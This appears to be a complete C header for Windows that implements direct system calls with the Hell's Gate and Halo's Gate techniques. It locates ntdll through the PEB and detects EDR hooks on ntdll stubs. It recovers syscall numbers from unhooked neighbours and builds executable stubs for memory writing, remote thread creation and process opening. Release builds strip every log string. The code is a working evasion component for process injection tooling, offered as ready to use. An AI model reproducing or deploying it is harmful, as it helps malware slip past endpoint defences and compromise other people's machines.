syscalls.h

#ifndef SYSCALLS_H
#define SYSCALLS_H

#include <windows.h>
#include <stdlib.h>
#include <string.h>

/* -------------------------------------------------------------------------
 * Debug logging — gated behind SYSCALLS_DEBUG.
 * Release builds compile to zero output, no strings, no printf.
 * ------------------------------------------------------------------------- */

#ifdef SYSCALLS_DEBUG
  #include <stdio.h>
  #define _LOG_OK(fmt, ...)    printf("[+] "     fmt "\n", ##__VA_ARGS__)
  #define _LOG_INFO(fmt, ...)  printf("[*] "     fmt "\n", ##__VA_ARGS__)
  #define _LOG_ERR(fmt, ...)   printf("[-] "     fmt "\n", ##__VA_ARGS__)
  #define _LOG_DBG(fmt, ...)   printf("[~] "     fmt "\n", ##__VA_ARGS__)
#else
  #define _LOG_OK(fmt, ...)
  #define _LOG_INFO(fmt, ...)
  #define _LOG_ERR(fmt, ...)
  #define _LOG_DBG(fmt, ...)
#endif

/* -------------------------------------------------------------------------
 * Convenience macros
 * ------------------------------------------------------------------------- */

#ifndef NtCurrentProcess
  #define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#endif

#ifndef NT_SUCCESS
  #define NT_SUCCESS(s) ((NTSTATUS)(s) >= 0)
#endif

/* -------------------------------------------------------------------------
 * PEB / LDR structures — no winternl.h dependency
 * ------------------------------------------------------------------------- */

typedef struct _SC_UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} SC_UNICODE_STRING;

typedef struct _SC_LDR_ENTRY {
    LIST_ENTRY        InLoadOrderLinks;
    LIST_ENTRY        InMemoryOrderLinks;
    LIST_ENTRY        InInitializationOrderLinks;
    PVOID             DllBase;
    PVOID             EntryPoint;
    ULONG             SizeOfImage;
    SC_UNICODE_STRING FullDllName;
    SC_UNICODE_STRING BaseDllName;
} SC_LDR_ENTRY;

typedef struct _SC_PEB_LDR {
    ULONG      Length;
    BOOLEAN    Initialized;
    PVOID      SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
} SC_PEB_LDR;

typedef struct _SC_PEB {
    BYTE        Reserved1[2];
    BYTE        BeingDebugged;
    BYTE        Reserved2[1];
    PVOID       Reserved3[2];
    SC_PEB_LDR *Ldr;
} SC_PEB;

/* -------------------------------------------------------------------------
 * NT function typedefs
 * ------------------------------------------------------------------------- */

typedef NTSTATUS (NTAPI *pNtAllocateVirtualMemory)(HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);
typedef NTSTATUS (NTAPI *pNtFreeVirtualMemory)(HANDLE, PVOID *, PSIZE_T, ULONG);
typedef NTSTATUS (NTAPI *pNtWriteVirtualMemory)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
typedef NTSTATUS (NTAPI *pNtReadVirtualMemory)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
typedef NTSTATUS (NTAPI *pNtProtectVirtualMemory)(HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
typedef NTSTATUS (NTAPI *pNtQueryVirtualMemory)(HANDLE, PVOID, DWORD, PVOID, SIZE_T, PSIZE_T);
typedef NTSTATUS (NTAPI *pNtCreateThreadEx)(PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T, SIZE_T, PVOID);
typedef NTSTATUS (NTAPI *pNtOpenProcess)(PHANDLE, ACCESS_MASK, PVOID, PVOID);
typedef NTSTATUS (NTAPI *pNtOpenThread)(PHANDLE, ACCESS_MASK, PVOID, PVOID);
typedef NTSTATUS (NTAPI *pNtSuspendThread)(HANDLE, PULONG);
typedef NTSTATUS (NTAPI *pNtResumeThread)(HANDLE, PULONG);
typedef NTSTATUS (NTAPI *pNtQuerySystemInformation)(DWORD, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *pNtDuplicateObject)(HANDLE, HANDLE, HANDLE, PHANDLE, ACCESS_MASK, ULONG, ULONG);
typedef NTSTATUS (NTAPI *pNtWaitForSingleObject)(HANDLE, BOOLEAN, PLARGE_INTEGER);
typedef NTSTATUS (NTAPI *pNtClose)(HANDLE);

/* -------------------------------------------------------------------------
 * SSN table — internal resolver state
 * ------------------------------------------------------------------------- */

#define SC_MAX_ENTRIES 512

typedef struct _SC_SSN_ENTRY {
    char  name[64];
    PVOID address;
    DWORD ssn;
} SC_SSN_ENTRY;

static SC_SSN_ENTRY _sc_table[SC_MAX_ENTRIES];
static DWORD        _sc_count  = 0;
static BOOL         _sc_inited = FALSE;

/* -------------------------------------------------------------------------
 * Internal helpers
 * ------------------------------------------------------------------------- */

/* Case-insensitive wide-to-ASCII compare — avoids any imported string API */
static BOOL _sc_wcsieqA(PWSTR w, const char *a) {
    while (*w && *a) {
        WCHAR wc = *w; char ac = *a;
        if (wc >= L'A' && wc <= L'Z') wc += 32;
        if (ac >= 'A'  && ac <= 'Z')  ac += 32;
        if (wc != (WCHAR)ac) return FALSE;
        w++; a++;
    }
    return (*w == 0 && *a == 0);
}

/* Walk PEB!InLoadOrderModuleList to find ntdll — no imported APIs */
static PVOID _sc_getNtdll(void) {
#ifdef _WIN64
    SC_PEB *peb = (SC_PEB *)__readgsqword(0x60);
#else
    SC_PEB *peb = (SC_PEB *)__readfsdword(0x30);
#endif
    LIST_ENTRY *head = &peb->Ldr->InLoadOrderModuleList;
    LIST_ENTRY *curr = head->Flink;
    while (curr != head) {
        SC_LDR_ENTRY *e = CONTAINING_RECORD(curr, SC_LDR_ENTRY, InLoadOrderLinks);
        if (_sc_wcsieqA(e->BaseDllName.Buffer, "ntdll.dll"))
            return e->DllBase;
        curr = curr->Flink;
    }
    return NULL;
}

/* qsort comparator — sort entries ascending by virtual address */
static int _sc_cmpAddr(const void *a, const void *b) {
    const SC_SSN_ENTRY *ea = (const SC_SSN_ENTRY *)a;
    const SC_SSN_ENTRY *eb = (const SC_SSN_ENTRY *)b;
    if (ea->address < eb->address) return -1;
    if (ea->address > eb->address) return  1;
    return 0;
}

/*
 * HellsGate — read SSN directly from unhooked stub bytes.
 * Clean x64 syscall stub prologue:
 *   4C 8B D1        mov r10, rcx
 *   B8 xx xx 00 00  mov eax, <SSN>   <- SSN at offset 4
 *   0F 05           syscall
 *   C3              ret
 */
static BOOL _sc_cleanStub(PBYTE stub, PDWORD out) {
    if (stub[0] == 0x4C && stub[1] == 0x8B &&
        stub[2] == 0xD1 && stub[3] == 0xB8) {
        *out = *(DWORD *)(stub + 4);
        return TRUE;
    }
    return FALSE;
}

/* Returns TRUE if stub first byte indicates EDR hook (jmp / indirect jmp) */
static BOOL _sc_isHooked(PBYTE stub) {
    return (stub[0] == 0xE9 ||
            stub[0] == 0xEB ||
           (stub[0] == 0xFF && stub[1] == 0x25));
}

/*
 * HalosGate — derive SSN for a hooked stub from a clean neighbor.
 * Windows assigns SSNs in ascending virtual address order, so a clean
 * neighbor at distance k has SSN = hooked_SSN ± k.
 * Walks both directions; last resort returns the sorted-position index.
 */
static DWORD _sc_halosGate(DWORD idx) {
    DWORD ssn = 0;

    for (DWORD d = 1; d <= idx; d++) {
        if (_sc_cleanStub((PBYTE)_sc_table[idx - d].address, &ssn)) {
            _LOG_DBG("HalosGate: %s <- neighbor %s SSN 0x%04X dist %u",
                     _sc_table[idx].name, _sc_table[idx - d].name, ssn, d);
            return ssn + d;
        }
    }

    for (DWORD d = 1; idx + d < _sc_count; d++) {
        if (_sc_cleanStub((PBYTE)_sc_table[idx + d].address, &ssn)) {
            _LOG_DBG("HalosGate: %s <- neighbor %s SSN 0x%04X dist %u",
                     _sc_table[idx].name, _sc_table[idx + d].name, ssn, d);
            return ssn - d;
        }
    }

    _LOG_DBG("HalosGate: %s all neighbors hooked, falling back to index %u",
             _sc_table[idx].name, idx);
    return idx;
}

/* -------------------------------------------------------------------------
 * SSN_Init — parse ntdll exports, sort by address, resolve all SSNs
 * ------------------------------------------------------------------------- */
static BOOL SSN_Init(void) {
    if (_sc_inited) return TRUE;

    PVOID base = _sc_getNtdll();
    if (!base) { _LOG_ERR("SSN_Init: ntdll not found in PEB"); return FALSE; }
    _LOG_OK("SSN_Init: ntdll @ 0x%p", base);

    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((PBYTE)base + dos->e_lfanew);
    DWORD expRva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)base + expRva);

    PDWORD nameRvas = (PDWORD)((PBYTE)base + exp->AddressOfNames);
    PDWORD funcRvas = (PDWORD)((PBYTE)base + exp->AddressOfFunctions);
    PWORD  ords     = (PWORD) ((PBYTE)base + exp->AddressOfNameOrdinals);

    _sc_count = 0;
    for (DWORD i = 0; i < exp->NumberOfNames && _sc_count < SC_MAX_ENTRIES; i++) {
        const char *name = (const char *)((PBYTE)base + nameRvas[i]);
        if (name[0] != 'Z' || name[1] != 'w') continue;
        strncpy(_sc_table[_sc_count].name, name, sizeof(_sc_table[0].name) - 1);
        _sc_table[_sc_count].address = (PVOID)((PBYTE)base + funcRvas[ords[i]]);
        _sc_table[_sc_count].ssn     = 0;
        _sc_count++;
    }
    _LOG_OK("SSN_Init: collected %lu Zw* exports", _sc_count);

    qsort(_sc_table, _sc_count, sizeof(SC_SSN_ENTRY), _sc_cmpAddr);

    DWORD hooked = 0;
    for (DWORD i = 0; i < _sc_count; i++) {
        DWORD ssn  = 0;
        PBYTE stub = (PBYTE)_sc_table[i].address;
        if (_sc_cleanStub(stub, &ssn)) {
            _sc_table[i].ssn = ssn;
            _LOG_DBG("HellsGate: %s SSN 0x%04X", _sc_table[i].name, ssn);
        } else {
            if (_sc_isHooked(stub)) hooked++;
            _sc_table[i].ssn = _sc_halosGate(i);
            _LOG_DBG("HalosGate: %s SSN 0x%04X", _sc_table[i].name, _sc_table[i].ssn);
        }
    }

    _LOG_OK("SSN_Init: resolved %lu syscalls, %lu hooked stubs", _sc_count, hooked);
    _sc_inited = TRUE;
    return TRUE;
}

/* -------------------------------------------------------------------------
 * SSN_Get — look up a resolved SSN by name (Nt* or Zw* prefix accepted)
 * Returns 0xFFFFFFFF if not found.
 * ------------------------------------------------------------------------- */
static DWORD SSN_Get(const char *name) {
    if (!_sc_inited) { _LOG_ERR("SSN_Get: table not initialized"); return 0xFFFFFFFF; }

    char lookup[64] = {0};
    if (name[0] == 'N' && name[1] == 't') {
        lookup[0] = 'Z'; lookup[1] = 'w';
        strncpy(lookup + 2, name + 2, sizeof(lookup) - 3);
    } else {
        strncpy(lookup, name, sizeof(lookup) - 1);
    }

    for (DWORD i = 0; i < _sc_count; i++) {
        if (strcmp(_sc_table[i].name, lookup) == 0)
            return _sc_table[i].ssn;
    }

    _LOG_ERR("SSN_Get: %s not found", name);
    return 0xFFFFFFFF;
}

/* -------------------------------------------------------------------------
 * SSN_Dump — print full resolved table (debug builds only)
 * ------------------------------------------------------------------------- */
#ifdef SYSCALLS_DEBUG
static void SSN_Dump(void) {
    if (!_sc_inited) { _LOG_ERR("SSN_Dump: not initialized"); return; }
    printf("\n[*] SSN table — %lu entries\n", _sc_count);
    printf("%-45s  SSN\n", "FUNCTION");
    printf("%-45s  ------\n", "---------------------------------------------");
    for (DWORD i = 0; i < _sc_count; i++)
        printf("%-45s  0x%04X\n", _sc_table[i].name, _sc_table[i].ssn);
    printf("\n");
}
#endif

/* -------------------------------------------------------------------------
 * Stub pool
 *
 * One VirtualAlloc(RWX) for all stubs. Each stub is 11 bytes:
 *   4C 8B D1              mov r10, rcx
 *   B8 xx xx 00 00        mov eax, <SSN>   <- patched at offset 4
 *   0F 05                 syscall
 *   C3                    ret
 *
 * After all stubs are written, NtProtectVirtualMemory flips the pool
 * to PAGE_EXECUTE_READ. No RWX memory remains after init.
 * ------------------------------------------------------------------------- */

#define SC_STUB_SIZE  11
#define SC_STUB_COUNT 15

static PBYTE _sc_pool = NULL;

static const BYTE _sc_template[SC_STUB_SIZE] = {
    0x4C, 0x8B, 0xD1,
    0xB8, 0x00, 0x00, 0x00, 0x00,
    0x0F, 0x05,
    0xC3
};

/* -------------------------------------------------------------------------
 * Nt* function pointers — call these directly after DirectSyscall_Init()
 * ------------------------------------------------------------------------- */
static pNtAllocateVirtualMemory  NtAllocateVirtualMemory  = NULL;
static pNtFreeVirtualMemory      NtFreeVirtualMemory      = NULL;
static pNtWriteVirtualMemory     NtWriteVirtualMemory     = NULL;
static pNtReadVirtualMemory      NtReadVirtualMemory      = NULL;
static pNtProtectVirtualMemory   NtProtectVirtualMemory   = NULL;
static pNtQueryVirtualMemory     NtQueryVirtualMemory     = NULL;
static pNtCreateThreadEx         NtCreateThreadEx         = NULL;
static pNtOpenProcess            NtOpenProcess            = NULL;
static pNtOpenThread             NtOpenThread             = NULL;
static pNtSuspendThread          NtSuspendThread          = NULL;
static pNtResumeThread           NtResumeThread           = NULL;
static pNtQuerySystemInformation NtQuerySystemInformation = NULL;
static pNtDuplicateObject        NtDuplicateObject        = NULL;
static pNtWaitForSingleObject    NtWaitForSingleObject    = NULL;
static pNtClose                  NtClose                  = NULL;

/* Write one stub into pool[slot], patch SSN, assign function pointer */
static BOOL _sc_writeStub(DWORD slot, const char *zwName, PVOID *outPtr) {
    DWORD ssn = SSN_Get(zwName);
    if (ssn == 0xFFFFFFFF) { _LOG_ERR("Stubs_Init: SSN not found: %s", zwName); return FALSE; }

    PBYTE dest = _sc_pool + (slot * SC_STUB_SIZE);
    memcpy(dest, _sc_template, SC_STUB_SIZE);
    *(DWORD *)(dest + 4) = ssn;
    *outPtr = (PVOID)dest;

    _LOG_DBG("Stubs_Init: slot %02lu  %-30s  SSN 0x%04X  @ 0x%p", slot, zwName, ssn, dest);
    return TRUE;
}

/* -------------------------------------------------------------------------
 * Stubs_Init — allocate pool, write all stubs, flip to RX
 * ------------------------------------------------------------------------- */
static BOOL Stubs_Init(void) {
    if (!_sc_inited) { _LOG_ERR("Stubs_Init: call SSN_Init first"); return FALSE; }

    SIZE_T poolSize = (SIZE_T)SC_STUB_SIZE * SC_STUB_COUNT;

    _sc_pool = (PBYTE)VirtualAlloc(NULL, poolSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!_sc_pool) { _LOG_ERR("Stubs_Init: VirtualAlloc failed GLE %lu", GetLastError()); return FALSE; }
    _LOG_OK("Stubs_Init: pool @ 0x%p (%llu bytes RWX)", _sc_pool, (ULONGLONG)poolSize);

    DWORD slot = 0;
    BOOL  ok   = TRUE;

    ok &= _sc_writeStub(slot++, "ZwAllocateVirtualMemory",  (PVOID *)&NtAllocateVirtualMemory);
    ok &= _sc_writeStub(slot++, "ZwFreeVirtualMemory",      (PVOID *)&NtFreeVirtualMemory);
    ok &= _sc_writeStub(slot++, "ZwWriteVirtualMemory",     (PVOID *)&NtWriteVirtualMemory);
    ok &= _sc_writeStub(slot++, "ZwReadVirtualMemory",      (PVOID *)&NtReadVirtualMemory);
    ok &= _sc_writeStub(slot++, "ZwProtectVirtualMemory",   (PVOID *)&NtProtectVirtualMemory);
    ok &= _sc_writeStub(slot++, "ZwQueryVirtualMemory",     (PVOID *)&NtQueryVirtualMemory);
    ok &= _sc_writeStub(slot++, "ZwCreateThreadEx",         (PVOID *)&NtCreateThreadEx);
    ok &= _sc_writeStub(slot++, "ZwOpenProcess",            (PVOID *)&NtOpenProcess);
    ok &= _sc_writeStub(slot++, "ZwOpenThread",             (PVOID *)&NtOpenThread);
    ok &= _sc_writeStub(slot++, "ZwSuspendThread",          (PVOID *)&NtSuspendThread);
    ok &= _sc_writeStub(slot++, "ZwResumeThread",           (PVOID *)&NtResumeThread);
    ok &= _sc_writeStub(slot++, "ZwQuerySystemInformation", (PVOID *)&NtQuerySystemInformation);
    ok &= _sc_writeStub(slot++, "ZwDuplicateObject",        (PVOID *)&NtDuplicateObject);
    ok &= _sc_writeStub(slot++, "ZwWaitForSingleObject",    (PVOID *)&NtWaitForSingleObject);
    ok &= _sc_writeStub(slot++, "ZwClose",                  (PVOID *)&NtClose);

    /* slot == SC_STUB_COUNT here — assert at compile time */
    // static_assert(SC_STUB_COUNT == 15, "SC_STUB_COUNT mismatch");

    if (!ok) {
        _LOG_ERR("Stubs_Init: stub write failed, aborting");
        VirtualFree(_sc_pool, 0, MEM_RELEASE);
        _sc_pool = NULL;
        return FALSE;
    }
    _LOG_OK("Stubs_Init: %d stubs written", SC_STUB_COUNT);

    /* Flip pool RWX -> RX using the NtProtectVirtualMemory stub we just wrote */
    PVOID  protBase = _sc_pool;
    SIZE_T protSize = poolSize;
    ULONG  oldProt  = 0;
    NTSTATUS st = NtProtectVirtualMemory(NtCurrentProcess(), &protBase, &protSize, PAGE_EXECUTE_READ, &oldProt);
    if (!NT_SUCCESS(st))
        _LOG_ERR("Stubs_Init: NtProtectVirtualMemory failed 0x%08X (pool remains RWX)", (UINT)st);
    else
        _LOG_OK("Stubs_Init: pool flipped to PAGE_EXECUTE_READ");

    return TRUE;
}

/* -------------------------------------------------------------------------
 * DirectSyscall_Init — single entry point, call once at startup
 * ------------------------------------------------------------------------- */
static BOOL DirectSyscall_Init(void) {
    if (!SSN_Init())   { _LOG_ERR("DirectSyscall_Init: SSN_Init failed");   return FALSE; }
    if (!Stubs_Init()) { _LOG_ERR("DirectSyscall_Init: Stubs_Init failed"); return FALSE; }
    _LOG_OK("DirectSyscall_Init: ready");
    return TRUE;
}

/* -------------------------------------------------------------------------
 * Stubs_Print — print stub table with SSNs and addresses (debug only)
 * ------------------------------------------------------------------------- */
#ifdef SYSCALLS_DEBUG
static void Stubs_Print(void) {
    static const struct { const char *nt; const char *zw; } stubs[] = {
        { "NtAllocateVirtualMemory",  "ZwAllocateVirtualMemory"  },
        { "NtFreeVirtualMemory",      "ZwFreeVirtualMemory"      },
        { "NtWriteVirtualMemory",     "ZwWriteVirtualMemory"     },
        { "NtReadVirtualMemory",      "ZwReadVirtualMemory"      },
        { "NtProtectVirtualMemory",   "ZwProtectVirtualMemory"   },
        { "NtQueryVirtualMemory",     "ZwQueryVirtualMemory"     },
        { "NtCreateThreadEx",         "ZwCreateThreadEx"         },
        { "NtOpenProcess",            "ZwOpenProcess"            },
        { "NtOpenThread",             "ZwOpenThread"             },
        { "NtSuspendThread",          "ZwSuspendThread"          },
        { "NtResumeThread",           "ZwResumeThread"           },
        { "NtQuerySystemInformation", "ZwQuerySystemInformation" },
        { "NtDuplicateObject",        "ZwDuplicateObject"        },
        { "NtWaitForSingleObject",    "ZwWaitForSingleObject"    },
        { "NtClose",                  "ZwClose"                  },
        { NULL, NULL }
    };

    printf("\n[*] Stub table\n");
    printf("%-40s  %-6s  STUB ADDR\n", "FUNCTION", "SSN");
    printf("%-40s  ------  ------------------\n", "----------------------------------------");
    for (int i = 0; stubs[i].nt; i++) {
        DWORD ssn  = SSN_Get(stubs[i].zw);
        PVOID addr = _sc_pool ? (PVOID)(_sc_pool + i * SC_STUB_SIZE) : NULL;
        printf("%-40s  0x%04X  0x%p%s\n",
               stubs[i].nt, ssn, addr,
               ssn == 0xFFFFFFFF ? "  [NOT FOUND]" : "");
    }
    printf("\n");
}
#endif

#endif /* SYSCALLS_H */